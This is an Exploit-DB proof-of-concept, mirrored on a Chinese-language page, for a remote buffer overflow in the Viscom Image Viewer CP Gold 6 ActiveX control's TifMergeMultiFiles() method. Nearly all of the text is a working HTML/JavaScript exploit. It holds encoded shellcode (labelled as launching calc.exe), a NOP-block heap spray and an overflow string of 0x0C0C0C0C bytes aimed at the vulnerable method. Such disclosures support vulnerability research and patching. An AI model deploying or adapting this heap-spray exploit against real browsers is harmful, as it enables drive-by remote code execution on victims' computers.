Viscom Image Viewer CP Gold 6 – ActiveX ‘TifMergeMultiFiles()’ Remote Buffer Overflow

  • 作者: Dr_IDE
    日期: 2010-12-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15668/
  • <html>
    <!--
    Exploit Title:	Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit
    Found By:	Dr_IDE
    Download:	http://www.viscom.com
    Greets: 	bz1p, bz1p@bshellz.net for finding the app.
    Tested on: 	XP SP3 IE7
    CVE: 		(0day)
    -->
    <object CLASSID="clsid:5220cb21-c88d-11cf-b347-00aa00a28331" width="14" height="14">
    <param NAME="LPKPath" VALUE="imageviewer.lpk"></object>
    <object classid="clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E" id='target'></object>
    <script>
    //payload is windows/exec cmd=calc.exe
    shellcode = unescape(
    '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
    
    nops=unescape('%u9090%u9090');
    headersize =20;
    slackspace= headersize + shellcode.length;
    
    while(nops.length < slackspace) nops+= nops;
    fillblock= nops.substring(0, slackspace);
    block= nops.substring(0, nops.length- slackspace);
    
    while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
    memory=new Array();
    
    for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
    ret='';
    for( counter=0; counter<=1000; counter++) ret+=unescape("%0C%0C%0C%0C");
    
    arg2=String("abcd");
    
    target.TIFMergeMultiFiles(arg2, arg2, ret);
    </script>
    </html>